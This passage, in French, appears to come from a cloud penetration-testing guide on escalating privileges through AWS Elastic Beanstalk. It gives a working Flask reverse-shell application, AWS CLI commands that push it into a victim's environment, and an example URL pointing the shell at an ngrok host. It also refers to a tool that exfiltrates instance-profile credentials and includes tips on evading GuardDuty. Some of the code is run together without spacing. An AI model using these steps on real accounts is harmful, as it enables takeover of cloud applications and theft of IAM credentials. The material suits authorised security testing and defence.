Pour effectuer des actions sensibles dans Beanstalk, vous devrez avoir beaucoup de permissions sensibles dans de nombreux services différents. Vous pouvez vérifier par exemple les permissions accordées à arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, permissions d'écriture S3 et bien d'autres
Avec des permissions d'écriture sur le bucket S3 contenant le code de l'environnement et des permissions pour reconstruire l'application (il est nécessaire d'avoir elasticbeanstalk:RebuildEnvironment et quelques autres liées à S3, EC2 et Cloudformation), vous pouvez modifier le code, reconstruire l'application et la prochaine fois que vous accédez à l'application, elle exécutera votre nouveau code, permettant à l'attaquant de compromettre l'application et les identifiants de rôle IAM associés.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, et plus...
Les permissions mentionnées ainsi que plusieurs S3, EC2, cloudformation, autoscaling et elasticloadbalancing sont nécessaires pour créer un scénario Elastic Beanstalk brut à partir de zéro.
Tout d'abord, vous devez créer un environnement Beanstalk légitime avec le code que vous souhaitez exécuter dans la victime en suivant les étapes précédentes. Potentiellement un simple zip contenant ces 2 fichiers :
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Une fois que vous avez votre propre environnement Beanstalk en cours d'exécution votre rev shell, il est temps de le migrer vers l'environnement des victimes. Pour ce faire, vous devez mettre à jour la politique de bucket de votre bucket S3 Beanstalk afin que la victime puisse y accéder (Notez que cela va ouvrir le bucket à TOUS):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
